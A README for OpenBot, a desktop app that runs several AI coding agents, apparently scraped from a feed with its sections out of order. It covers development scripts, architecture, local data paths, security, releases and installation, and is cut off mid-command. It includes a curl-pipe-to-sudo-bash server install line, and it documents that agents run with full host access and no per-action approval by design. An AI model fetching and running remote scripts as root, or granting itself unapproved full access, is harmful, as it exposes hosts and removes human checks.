</tr> \n  <tr> \n   <td><code>bun run check:ui</code></td> \n   <td>Check the renderer against the design system: shared primitives, Kobalte and Lucide confined to <code>@openbot/ui</code>, palette tokens instead of colour, size, radius and transition literals. Checks renderer and shared UI source.</td> \n  </tr> \n  <tr> \n   <td><code>bun run check:assets</code></td> \n   <td>Fail when a tracked image or video file is outside the product asset directories. Pull request screenshots go in the pull request body.</td> \n  </tr> \n  <tr> \n   <td><code>bun run check:doc-links</code></td> \n   <td>Fail when a link in a tracked Markdown file names a Markdown file that does not exist, or an anchor that the file does not have.</td> \n  </tr> \n  <tr> \n   <td><code>bun run verify:preload</code></td> \n   <td>After <code>bun run build</code>, run the built preload with a fake Electron. Fail when it loads a module that a sandboxed preload cannot load, uses <code>import()</code>, or exposes a method that <code>IPC_ENDPOINTS</code> does not name.</td> \n  </tr> \n  <tr> \n   <td><code>bun run types:ratchet</code></td> \n   <td>Hold each TypeScript option in <code>tools/typescript/type-baseline.json</code> to its error count per file in every project that extends <code>tsconfig.base.json</code>. A new error fails. Add <code>--write</code> after a fix to lower the baseline, or <code>--add=&lt;option&gt;</code> to start an option at its current counts.</td> \n  </tr> \n  <tr> \n   <td><code>bun run i18n:check</code></td> \n   <td>Check the translation catalogs: key prefixes, placeholders, plural forms, ambiguous source text, and unused keys. <code>--fix</code> puts translated keys in the English order. <code>--json</code> writes <code>.openbot-build/i18n-report.json</code>. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/i18n.md\">docs/i18n.md</a>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:backend</code></td> \n   <td>Run backend tests only.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:changed</code></td> \n   <td>Run, on one worker, only the desktop and mobile test files that import a file changed since <code>origin/main</code>, including staged, unstaged and untracked files. It stops with an error when <code>origin/main</code> is missing. A change to a vitest config, a setup file or <code>package.json</code> selects no test. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/development-checks.md#focused-tests\">docs/development-checks.md</a>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:related -- &lt;source&gt;...</code></td> \n   <td>Run, on one worker, only the test files that import the named source files.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:browser-agent-session</code></td> \n   <td>Check that an agent with its own browser session, and the agents of a named browser profile, keep their cookies and storage apart, across popups, a restart, a deleted profile, and a clear.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:browser-profile-agents</code></td> \n   <td>Check that the shared profile, an agent's own session, a named profile, and the delete of a named profile change the stored browser profile of an agent, and that the choice stays after a restart.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:browser</code></td> \n   <td>Run the complete local embedded-browser smoke test, including cross-process persistence. Use <code>--scenario=controls</code>, <code>--scenario=tool-boundary</code>, <code>--scenario=evaluation</code>, <code>--scenario=wait-deadlines</code>, or <code>--scenario=popups</code> for one isolated scenario.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:codex</code></td> \n   <td>Probe the real CLI handshake and account without starting a paid turn.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:durations</code></td> \n   <td>Re-record how long each desktop test file takes. CI splits its shards by this table, so run it when the two shards stop finishing together.</td> \n  </tr> \n  <tr> \n   <td><code>bun run cua-driver:doctor</code></td> \n   <td>Print, as JSON, which <code>cua-driver</code> binary OpenBot would use for Computer Use, and the driver's own <code>doctor</code> report. Read-only, and it starts no daemon. <code>OPENBOT_CUA_DRIVER_PATH</code> selects a different binary in a checkout; an installed application runs only the driver it was released with.</td> \n  </tr> \n  <tr> \n   <td><code>bun run prepare:cua-driver</code></td> \n   <td>Write the pinned Computer Use driver to <code>build/cua-driver/&lt;platform&gt;/&lt;arch&gt;</code>, verifying every SHA-256 in <code>native-runtime.lock.json</code>. Name another target with <code>bun scripts/install-cua-driver.ts &lt;platform&gt; &lt;arch&gt;</code>. Every packaging command runs this first.</td> \n  </tr> \n  <tr> \n   <td><code>bun run pin:cua-driver &lt;version&gt;</code></td> \n   <td>Print a new <code>cuaDriver</code> block for <code>native-runtime.lock.json</code> from a published <code>cua-driver</code> release. Downloads the release assets of all five targets and hashes each shipped file.</td> \n  </tr> \n  <tr> \n   <td><code>bun run package</code></td> \n   <td>Build an unpacked local application for the architecture of this Mac.</td> \n  </tr> \n  <tr> \n   <td><code>bun run package:verify</code></td> \n   <td>Build and verify the real app bundle for this Mac, icon, metadata, ASAR, and fuses.</td> \n  </tr> \n  <tr> \n   <td><code>bun run package:win</code></td> \n   <td>Build an unpacked local Windows x64 application on Windows.</td> \n  </tr> \n  <tr> \n   <td><code>bun run package:win:verify</code></td> \n   <td>Build and verify the Windows x64 application on Windows.</td> \n  </tr> \n  <tr> \n   <td><code>bun run package:linux</code></td> \n   <td>Build an unpacked local Linux x64 application on Linux.</td> \n  </tr> \n  <tr> \n   <td><code>bun run package:linux:arm64</code></td> \n   <td>Build an unpacked local Linux arm64 application on arm64 Linux.</td> \n  </tr> \n  <tr> \n   <td><code>bun run package:linux:verify</code></td> \n   <td>Build and verify the Linux x64 application on Linux. Run it under <code>xvfb-run -a</code> without a display.</td> \n  </tr> \n  <tr> \n   <td><code>bun scripts/create-github-app.ts [--org &lt;org&gt;]</code></td> \n   <td>Create the OpenBot GitHub App from <code>scripts/github-app/manifest.json</code> with the manifest flow. Prints the Client ID for <code>src/main/github-connector-config.ts</code> and writes the app secrets to <code>~/.config/openbot/github-app-&lt;slug&gt;.json</code> (mode 0600). Enable Device Flow in the app settings after the run.</td> \n  </tr> \n  <tr> \n   <td><code>bun run release:preflight</code></td> \n   <td>Verify version, Git state, and GitHub release secrets before tagging.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dist:mac</code></td> \n   <td>Build unsigned local DMG and ZIP update artifacts for this Mac.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dist:win</code></td> \n   <td>Build an unsigned Windows x64 NSIS installer on Windows.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dist:linux</code></td> \n   <td>Build an unsigned Linux x64 AppImage on Linux.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dist:linux:arm64</code></td> \n   <td>Build an unsigned Linux arm64 AppImage on arm64 Linux.</td> \n  </tr> \n  <tr> \n   <td><code>bun run release:patch</code></td> \n   <td>Create the next patch version commit and tag.</td> \n  </tr> \n  <tr> \n   <td><code>bun run mobile:release:patch</code></td> \n   <td>Move the iPhone app notes from <code>apps/mobile/changelog.d</code> into <code>apps/mobile/CHANGELOG.md</code> and set the next patch version in <code>app.json</code>. Also <code>mobile:release:minor</code> and <code>mobile:release:major</code>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run mobile:release:published &lt;ios|android|both&gt;</code></td> \n   <td>Write today's date for a store that made the mobile build available. <code>/changelog</code> shows each store, and a store that still reviews the build as \"In review\". Add <code>--version x.y.z</code> for a version that is not in <code>app.json</code>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:acp-directories</code></td> \n   <td>Run three fake ACP agents through the <code>acp</code> provider driver: new, load and resume requests carry the workspace roots as <code>additionalDirectories</code> only when the agent advertises them. Offline; writes <code>.openbot-build/acp-additional-directories-e2e/report.json</code>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:custom-agents</code></td> \n   <td>Run two fake ACP agents through the agent store, Check agent (with its model list) and the <code>acp</code> provider router: equal session ids, restart and resume, switch, and delete. Offline; writes <code>.openbot-build/custom-acp-agent-e2e/report.json</code>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:mcp-tool-consent</code></td> \n   <td>Run the real Codex app-server with a fake model, a real MCP server and the real attention registry: tool consent at Ask first and Full access, Always allow and a restart, refusals, and the requests that stay with the user (forms, sign-in, look-alikes). Needs a Codex CLI; offline; writes <code>.openbot-build/mcp-tool-consent-e2e/report.json</code>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:ui-blocks</code></td> \n   <td>Run the real attention registry and Team API codecs on <code>ask_ui</code> blocks: answers from the owner, an admin, a member and a released client, the member refusal for privileged actions, a secret form value that is never stored, skip and expiry, and the <code>ui-blocks-v1</code> wire on protocols 6 and 7. Offline; writes <code>.openbot-build/ui-blocks-e2e/report.json</code>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:filesystem</code></td> \n   <td><strong>Online/manual:</strong> run real full-access Codex and Claude filesystem turns across private and shared workspaces.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:imagegen</code></td> \n   <td><strong>Online/manual:</strong> run a real full-access image-generation turn.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:workspace-only</code></td> \n   <td><strong>Online/manual:</strong> run real Workspace only Codex, Claude, Grok and OpenCode turns that try to write outside; writes a JSON report per provider to <code>.openbot-build/workspace-only-smoke/</code>. Add <code>--provider &lt;id&gt;</code> for one, and <code>--model &lt;id&gt;</code> to choose its model.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:provider-detection</code></td> \n   <td>Run local detection, Load models and endpoint Edit against fake OpenAI-compatible servers on this computer: no key in a scan, no redirect, the stored key only to its own origin. Offline; writes <code>.openbot-build/provider-detection-e2e/report.json</code>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:storage-live</code></td> \n   <td><strong>Online/manual:</strong> verify isolated Codex and Claude turns in a temporary SQLite database.</td> \n  </tr> \n </tbody> \n</table> \n<p>Publishing never creates a second OpenBot instance. The host keeps its Team API on loopback. A hidden, sandboxed Electron page connects it to invited clients through WebRTC. Signal carries only connection setup messages. Team data uses direct DataChannels when possible and the project coturn service when direct ICE fails. Cloudflare stores accounts, configuration, memberships, invitations, logical session records, and public assets. It does not carry chats, files, commands, or remote desktop media.</p> \n<p>The development runner advertises both Mobile Connect and its Signal service on the preferred private LAN interface. Restart the runner after changing networks so newly generated QR codes contain the current address.</p> \n<p>Production mobile analytics setup and required OpenPanel credentials are documented in <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/apps/mobile/README.md#openpanel-product-analytics\">OpenBot Mobile</a>.</p> \n<p><code>mobile:go:tunnel</code> exposes only the Expo development server. It does not expose the local account API, Signal, or TURN. A phone on 5G cannot use the default LAN addresses. For a test across networks, use a VPN that connects both devices, or provide HTTPS and WSS endpoints that forward to this dev stack's account API and Signal ports. Set <code>OPENBOT_MOBILE_AUTH_API_URL</code> to the reachable account API origin and <code>REMOTE_SIGNAL_URL</code> to the reachable Signal URL, including <code>/v1/signal</code>, before starting <code>bun run dev</code>. Use the ports reported by <code>bun run dev:status</code>; they can differ between worktrees. If direct WebRTC cannot connect, <code>TURN_HOST</code> must name a reachable coturn service and <code>TURN_SHARED_SECRET</code> must match that service. An HTTP tunnel cannot forward TURN traffic. Generate and scan a new Mobile Connect code after changing the account API address; an existing mobile session retains its original address.</p> \n<p>Mobile sign-out removes the local login even when the account API is unavailable. The app keeps only the credential in secure storage for revocation retries at startup, on return to the foreground, and on the next connection attempt. Remote revocation completes when the account API is reachable.</p> \n<p>For manual team testing, <code>bun run dev:test-client</code> starts a complete two-client harness. The second client uses the <code>OpenBot Dev Test Client wt-&lt;hash&gt;</code> profile of this worktree (<code>OpenBot Dev Test Client</code> with <code>--shared</code>) and renderer port 5174. <code>dev:reset</code> removes the shared one and the legacy <code>OpenBot Dev Host</code> profile. It does not remove the downloaded provider CLIs, which the whole computer shares. Press <code>Ctrl+C</code> in the runner terminal to stop only the processes started by that runner, or run <code>bun run dev:stop</code> from the worktree once that terminal is gone. Never stop a dev stack with <code>pkill -f electron</code> or <code>pkill -f bun</code>: on a machine running several worktrees those kill the other checkouts' work mid-write, which is what <code>dev:status</code> and <code>dev:stop</code> exist to make unnecessary.</p> \n<p>Set <code>OPENBOT_DEV_ICE_TRANSPORT_POLICY=relay</code> before this command to force Team API traffic through coturn. This test option works only with the development renderer. Production always starts with <code>all</code>.</p> \n<p>The normal <code>check</code> command is offline and uses a fake App Server. Manual smoke scripts may use the signed-in subscription and must not run in CI.</p> \n<p>Local agents run with the providers' unrestricted execution modes. Each agent starts in its own persistent <code>~/OpenBot/Agents/&lt;agent-id&gt;</code> workspace and also receives <code>~/OpenBot/Shared</code>; routine command and filesystem work in both locations runs without OpenBot adding another permission boundary. Because these modes are intentionally unrestricted, they also permit host access outside those directories when the provider and operating system allow it.</p> \n<h3>macOS remote desktop permissions</h3> \n<p>For each macOS account, log in to its GUI session and open <strong>Server Settings \u2192 Remote desktop access</strong>. Select <strong>Check again</strong> to read Sunshine's Screen Recording and Accessibility permissions, display availability, and GUI session status. The panel names the Mac and the account that runs Sunshine. Grant permissions in that account, including when the account was created with the tenant setup script.</p> \n<p>After you publish a server on a Mac, an optional <strong>Set up remote desktop</strong> prompt opens this panel. Select <strong>Later</strong> to keep using the published server without remote desktop setup.</p> \n<p>Use the permission buttons to open <strong>System Settings \u2192 Privacy &amp; Security</strong> on the host. If Sunshine is missing from a list, select <strong>Show Sunshine in Finder</strong> and add the bundled <code>Sunshine.app</code> with the <strong>+</strong> button. macOS can attribute access to the application that starts Sunshine; enable the application named by the system prompt. Return to OpenBot to check again. If a restart is required, end remote sessions first. A check never restarts an active session.</p> \n<p>Select <strong>Test on this Mac</strong> for a local test. If native checks are unavailable, it tests video only and disables viewer input. After the checks pass, it can test mouse and keyboard too. Select <strong>Test remote desktop</strong> from another computer for a remote test. The test requires an otherwise unused remote desktop host. It opens a temporary host panel, keeps remote input inside that panel, and asks you to click a target and type a four-digit code. Confirm that the picture is visible, then select <strong>Finish test</strong>. Local input does not pass the mouse or keyboard test. The panel expires after two minutes. Older hosts or native runtimes require an update before these checks are available.</p> \n<p>The native runtime source change invalidates prior artifact pins. The <strong>Remote desktop runtime</strong> CI workflow builds and tests the new source, then publishes and pins verified artifacts through its existing release flow. Do not reuse old artifact hashes with the new source digest.</p> \n<h2>Architecture</h2> \n<pre><code class=\"language-text\">Electron main\n\u251c\u2500\u2500 local Codex App Server process over stdio JSONL\n\u251c\u2500\u2500 local Claude Agent SDK session over stream JSON\n\u251c\u2500\u2500 SQLite command log and read projections\n\u251c\u2500\u2500 secure typed IPC handlers\n\u2514\u2500\u2500 sandboxed WebContentsView browser host\n    \u2195 typed preload bridge\nSolidJS renderer\n\nCloudflare Workers\n\u2514\u2500\u2500 TanStack Start + Solid 2 account API\n    \u251c\u2500\u2500 D1 accounts, email challenges, hashed sessions, and team tunnels\n    \u2514\u2500\u2500 R2 account avatars\n</code></pre> \n<ul> \n <li><code>src/main</code> owns the Electron lifecycle, window security, local protocol, and IPC registration.</li> \n <li><code>src/backend</code> owns provider adapters, persistence, message scheduling, transfers, and the browser host.</li> \n <li><code>src/preload</code> exposes only the typed <code>window.openbot</code> API.</li> \n <li><code>src/renderer</code> contains the SolidJS interface.</li> \n <li><code>apps/auth-api</code> contains the TanStack Start account API, one-time email codes, rate limits, and D1 migrations. It also serves the public site: the landing page, <code>/news</code>, <code>/guides</code>, and the plugin pages at <code>/plugins</code> and <code>/plugins/&lt;slug&gt;</code>.</li> \n <li><code>apps/status</code> contains the public status page at <code>status.openbot.run</code>, the script that the <code>status-page</code> workflow runs to check the services, and the script that sends the <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/status-webhooks.md\">status webhooks</a> of the team. GitHub hosts it, so it stays up when Cloudflare does not.</li> \n <li><code>packages/contracts</code> contains process-boundary contracts, shared limits, and pure validation.</li> \n <li><code>packages/i18n</code> contains the interface text in English, French, Japanese, Brazilian Portuguese and Turkish for desktop, web and mobile. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/i18n.md\">docs/i18n.md</a> to add text or a language.</li> \n</ul> \n<p>See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/ARCHITECTURE.md\">docs/ARCHITECTURE.md</a> for dependency direction, state ownership, and rules for new modules.</p> \n<h2>Chat attachments</h2> \n<p>Attach MP3 audio and MOV video through the file picker or drag and drop. The limits are 100 MB per file, 250 MB per message, and 10 files per message. OpenBot gives the agent the original file; it does not play, decode, transcribe, or validate the recording during import. Damaged recordings can be attached for inspection. Analysis depends on the tools available to the agent. For other audio or video formats, export as MP3 or MOV, or attach a text transcript. Remote hosts must advertise the <code>media-attachments</code> capability; update the host if this feature is unavailable.</p> \n<p>ZIP archives use the same limits. OpenBot does not extract or inspect an archive: the agent gets the original file and extracts it with its own tools. An agent sends a ZIP archive back with <code>openbot.attach_files_to_response</code>, and the user downloads it from the chat. Open shows a ZIP archive in the file manager instead of opening it. Remote hosts must advertise the <code>zip-attachments</code> capability.</p> \n<h2>Local data and network boundaries</h2> \n<ul> \n <li><code>~/OpenBot/Agents/&lt;agent-id&gt;</code> \u2014 one working directory per agent. A profile written before the bot-to-agent rename holds them under <code>~/OpenBot/Bots</code>; the app moves them on first launch, and a workspace whose move could not run stays readable where it is.</li> \n <li><code>~/OpenBot/Shared</code> \u2014 files intentionally shared between agents.</li> \n <li><code>~/OpenBot/Shared/Transfers</code> \u2014 managed message snapshots and generated files. Each transfer has an <code>.openbot-transfer.json</code> manifest with ownership, recipients, size, and SHA-256 metadata.</li> \n <li><code>~/OpenBot/Downloads</code> \u2014 embedded-browser downloads.</li> \n <li>Electron <code>userData/openbot.db</code> \u2014 the canonical OpenBot event log and projections for agents, conversations, provider session bindings, queues, reactions, and attachment indexes.</li> \n <li>Electron <code>userData/legacy-backup-v1</code> \u2014 unchanged copies of imported <code>bots.json</code> and <code>mailbox.json</code> files, when these files existed before the SQLite migration.</li> \n <li><code>~/Library/Application Support/OpenBot/provider-runtimes</code> \u2014 the provider CLIs OpenBot downloads and pins. One store for the whole computer, outside any one profile, so every development profile and the packaged app read the same download. <code>--user-data-dir</code> keeps the store in that directory instead, so an explicitly named profile stays self-contained.</li> \n <li><code>~/.codex</code> \u2014 login and thread history managed exclusively by Codex CLI.</li> \n <li><code>~/.claude</code> \u2014 login and session history managed exclusively by Claude CLI.</li> \n <li><code>~/.grok</code> \u2014 login and session history managed exclusively by Grok CLI.</li> \n <li><code>~/.gemini</code> (or <code>$GEMINI_HOME</code>) \u2014 login and session history managed exclusively by the Antigravity ACP server that Gemini uses.</li> \n <li><code>~/.cursor</code> \u2014 login and session history managed exclusively by the Cursor CLI. A confined Cursor process keeps its settings in <code>~/.cursor/openbot-confined</code>, so it never changes yours.</li> \n <li><code>~/.cline</code> (or <code>$CLINE_DIR</code>) \u2014 login and session history managed exclusively by the Cline CLI.</li> \n</ul> \n<p>Deleting an agent removes its workspace, owned generated attachments, and deliveries addressed only to that agent. A transfer remains when another agent still uses the same message.</p> \n<p>OpenBot keeps one stable local conversation when an agent changes between Codex, Grok, and Claude. Native provider session identifiers stay private and are used only to resume provider runtime state.</p> \n<p>The Electron renderer is never exposed as a public website. It communicates with local CLI processes over stdio. When the owner publishes OpenBot, its authenticated Team API stays on localhost. WebRTC protocol v3 carries RPC, events, and binary files to desktop and mobile clients. Expo Go hosts the mobile <code>RTCPeerConnection</code> in a hidden Expo DOM component, so mobile uses the same encrypted transport without a custom native development build. The account flow connects to the configured HTTPS Cloudflare API. The client stores only an encrypted OpenBot session token. One-time codes expire after 10 minutes and are stored only as hashes. A daily maintenance task removes expired or consumed authentication records from D1. The embedded browser uses a separate sandboxed Electron session and cannot access <code>window.openbot</code> or managed local attachments.</p> \n<p>To run your own account service, Signal and TURN, see <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/self-hosting.md\">Self-hosted remote access</a>.</p> \n<p>To trigger routines from external services, see <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/webhooks.md\">Webhooks</a>. Public webhook requests require the host to be online.</p> \n<h2>Security</h2> \n<p>Read <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/SECURITY.md\">SECURITY.md</a> before reporting a vulnerability. Do not put credentials, private files, conversation contents, or sensitive diagnostics in a public issue.</p> \n<p>Full local access is an explicit current product decision, not a security boundary. Reports are especially useful when remote content can reach Electron privileges, managed attachment paths can escape their roots, IPC sender validation can be bypassed, or an agent can act outside the access described above.</p> \n<h2>Releases</h2> \n<p>Releases are tag-driven. <code>bun run release:patch</code>, <code>release:minor</code>, or <code>release:major</code> prepares the version and changelog. After review, commit, preflight, and tag the release; pushing the tag builds a signed and notarized macOS ARM64 and x64 release, a signed Windows x64 release, and unsigned Linux x64 and arm64 AppImages in GitHub Actions. After the release is published, the workflow pushes the Docker image to <code>ghcr.io/nightly-labs/openbot</code>. Installed builds check GitHub Releases for updates and expose download/restart controls in the account popover. Release signing secrets and the complete procedure are documented in <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/RELEASING.md\">docs/RELEASING.md</a>.</p> \n<h2>Contributing</h2> \n<p>See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/CONTRIBUTING.md\">CONTRIBUTING.md</a>. Before we merge a contribution, each author from outside the organization signs the <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/CLA.md\">Contributor Assignment Agreement</a>, which assigns its copyright to Synthetify Labs. Community behavior is governed by the <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/CODE_OF_CONDUCT.md\">Code of Conduct</a>.</p> \n<h2>License and attribution</h2> \n<p>Copyright 2026 Synthetify Labs sp\u00f3\u0142ka z ograniczon\u0105 odpowiedzialno\u015bci\u0105.</p> \n<p>Licensed under the <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/LICENSE\">PolyForm Noncommercial License 1.0.0</a>. You may use, modify, and distribute the code for permitted noncommercial purposes. Commercial use requires a separate license from the copyright owner. For a commercial license, contact <a href=\"mailto:licenses@openbot.run\">licenses@openbot.run</a>. Versions up to and including 0.1.11 remain available under Apache-2.0. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/NOTICE\">NOTICE</a> for attribution and third-party notices.</p> \n<p>OpenBot is an independent source-available project and is not affiliated with, endorsed by, or sponsored by OpenAI. OpenAI, ChatGPT, and Codex are used only to describe compatibility with their respective products and services.</p> \n<h3>Shared macOS hosts</h3> \n<p>For one native Standard user per tenant, install the normal OpenBot DMG and the optional <code>OpenBot-Host-&lt;VERSION&gt;-arm64.pkg</code> from the same release. The Host package provides <code>sudo openbot-host setup --create-user client-acme --create-user client-bravo</code> and <code>sudo openbot-host verify</code>. <code>sudo openbot-host status [--json]</code> and <code>sudo openbot-host watch</code> show the update phase, the staged version, and each tenant's work state. No Git checkout, Bun, or compilation is required on the host. Normal desktop users need only the DMG. See the <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/multi-tenant-hosting.md\">host deployment guide</a> for existing-user enrollment, password handling, package upgrades, and required target-host checks.</p>", "summary": "<p>A local-first desktop workspace for persistent AI teammates. Run Codex, Claude, and Grok with dedicated workspaces, task queues, file sharing, browser control, and agent-to-agent collaboration.</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://openbot.run/\">https://openbot.run/</a></p><hr /><h1>OpenBot</h1> \n<p><a href=\"https://github.com/nightly-labs/openbot/actions/workflows/ci.yml\"><img alt=\"CI\" src=\"https://github.com/nightly-labs/openbot/actions/workflows/ci.yml/badge.svg?sanitize=true\" /></a> <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/LICENSE\"><img alt=\"License\" src=\"https://img.shields.io/badge/license-PolyForm_Noncommercial_1.0.0-blue.svg?sanitize=true\" /></a></p> \n<p>OpenBot is a local-first desktop workspace for persistent AI teammates. It supports the local <a href=\"https://learn.chatgpt.com/docs/app-server\">Codex App Server</a> and <a href=\"https://code.claude.com/docs/en/overview\">Claude Code</a>, plus <a href=\"https://docs.x.ai/build/overview\">Grok CLI</a>, OpenCode, Gemini, <a href=\"https://cursor.com/cli\">Cursor CLI</a>, and <a href=\"https://cline.bot/cli\">Cline CLI</a> through ACP. It gives every agent its own workspace and conversation, and provides local queues, file transfers, an embedded browser, and agent-to-agent messaging in one desktop app.</p> \n<div class=\"markdown-alert markdown-alert-warning\">\n <p class=\"markdown-alert-title\">\n  <svg class=\"octicon octicon-alert mr-2\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\" xmlns=\"http://www.w3.org/2000/svg\">\n   <path d=\"M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z\"></path>\n  </svg>Warning</p>\n <p>OpenBot is a development preview. Agents currently run with <code>danger-full-access</code> and <code>approvalPolicy: never</code>. They can read and modify files, run commands, use the network, and control the embedded browser without per-action confirmations after the explicit first-launch consent. Run only agents and tasks you trust, keep backups, and review <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/#security\">Security</a> before use.</p> \n</div> \n<h2>What works</h2> \n<ul> \n <li>Prompt-driven agent creation and editing on desktop and mobile, with editable instructions, avatar, and section review before saving.</li> \n <li>Persistent agents backed by independent Codex, Claude, Grok, OpenCode, Gemini, Cursor, or Cline sessions and local workspaces.</li> \n <li>Custom OpenAI-compatible endpoints and custom ACP agents, with detection of local model servers (Ollama, LM Studio) and installed agents.</li> \n <li>Per-agent context monitoring with automatic compaction before long threads exhaust the model window.</li> \n <li>FIFO message queues with pause, resume, cancellation, and crash-safe persistence.</li> \n <li>Agent-to-agent messages, replies, reactions, images, and managed file transfers.</li> \n <li>Shared desktop channel chats with one task owner, explicit delegation, shared history, and Stop, Resume, Reassign, Archive, and Restore controls.</li> \n <li>A persistent embedded browser that agents can open, inspect, and control.</li> \n <li>Optional Computer Use on macOS, Windows and Linux through the <code>cua-driver</code> binary in the release, which OpenBot starts as its own child process and gives to every provider.</li> \n <li>Per-agent model, reasoning, profile, notification, browser, and panel state.</li> \n <li>Local data and privacy-safe diagnostics exports from the account menu.</li> \n <li>Optional OpenBot accounts through one-time email codes. The account API runs on Cloudflare Workers and D1.</li> \n</ul> \n<p>OpenBot is local-first, not offline-only. Codex connects to OpenAI, Claude connects to Anthropic, Grok connects to xAI, Gemini connects to Google, Cursor connects to Cursor, Cline connects to Cline, visited pages use the network, and installed plugins may connect to their own services.</p> \n<h2>Install</h2> \n<p>OpenBot supports macOS 13 or newer on Apple silicon or Intel, Windows 10 or newer on x64 systems, and x64 or arm64 Linux as an AppImage.</p> \n<h3>macOS</h3> \n<ol> \n <li>Download the latest <code>OpenBot-*-arm64.dmg</code> (or <code>OpenBot-*-x64.dmg</code> on an Intel Mac) from <a href=\"https://github.com/nightly-labs/openbot/releases\">GitHub Releases</a>.</li> \n <li>Drag OpenBot to Applications and open it.</li> \n</ol> \n<h3>Windows</h3> \n<ol> \n <li>Download the latest <code>OpenBot-*-x64.exe</code> from <a href=\"https://github.com/nightly-labs/openbot/releases\">GitHub Releases</a>.</li> \n <li>Run the installer and open OpenBot.</li> \n</ol> \n<h3>Linux</h3> \n<ol> \n <li>Download the latest <code>OpenBot-*-x86_64.AppImage</code> (or <code>OpenBot-*-arm64.AppImage</code> on arm64) from <a href=\"https://github.com/nightly-labs/openbot/releases\">GitHub Releases</a>.</li> \n <li>Make it executable with <code>chmod +x OpenBot-*.AppImage</code>, then run it.</li> \n</ol> \n<p>The AppImage does not need libfuse2, so it also runs on Arch Linux and Omarchy. It mounts itself with <code>fusermount3</code> from the <code>fuse3</code> package.</p> \n<p>On Ubuntu 23.10 or newer and on Debian 13, unprivileged user namespaces are restricted by AppArmor and OpenBot exits during launch until you install an AppArmor profile:</p> \n<pre><code class=\"language-bash\">sudo install -m 0644 build/linux/openbot.apparmor /etc/apparmor.d/openbot\nsudo systemctl reload apparmor\n</code></pre> \n<p>The same file ships inside the AppImage at <code>resources/linux/openbot.apparmor</code>. Edit the attachment path in the profile if you keep the AppImage outside the usual locations. Do not start OpenBot with <code>--no-sandbox</code>: that removes the boundary between a renderer and the rest of the computer.</p> \n<p>On the first start from an AppImage, OpenBot writes <code>~/.local/share/applications/openbot.desktop</code> and <code>~/.local/share/icons/openbot.png</code>, which is what lets an <code>openbot://</code> link - an invitation, or a plugin listing - open the app and gives the launcher an icon that stays after the app exits. Delete the two files to undo it.</p> \n<p>Remote desktop works on Linux x64 in an X11 session, such as Xorg or Xvfb. It does not work under Wayland, and the arm64 AppImage does not include it.</p> \n<p>For Gemini sign-in, install a desktop browser and <code>xdg-utils</code>. Open the sign-in page in a desktop session on the same host or VM. Google sends the callback to that host through <code>127.0.0.1</code>; a server with no desktop cannot complete this sign-in. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/architecture/providers.md#gemini\">Gemini setup</a>.</p> \n<h4>Linux server with no screen</h4> \n<p>To run OpenBot as an always-on server of your account on a VPS or home server (Ubuntu 24.04 or 26.04 with systemd), install it from a terminal and sign in with an email code:</p> \n<pre><code class=\"language-bash\">curl -fsSL https://raw.githubusercontent.com/nightly-labs/openbot/main/scripts/install-server.sh | sudo bash\nsudo openbot login\n</code></pre> \n<p>Then use it from the desktop app, the iPhone app or <code>openbot.run/app</code>. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/self-hosted-server.md\">self-hosted servers</a> for the options and the <code>openbot</code> commands.</p> \n<h4>Docker</h4> \n<p>The same server runs as a container (<code>linux/amd64</code> and <code>linux/arm64</code>). The seccomp profile lets the Electron sandbox stay on:</p> \n<pre><code class=\"language-bash\">curl -fsSLO 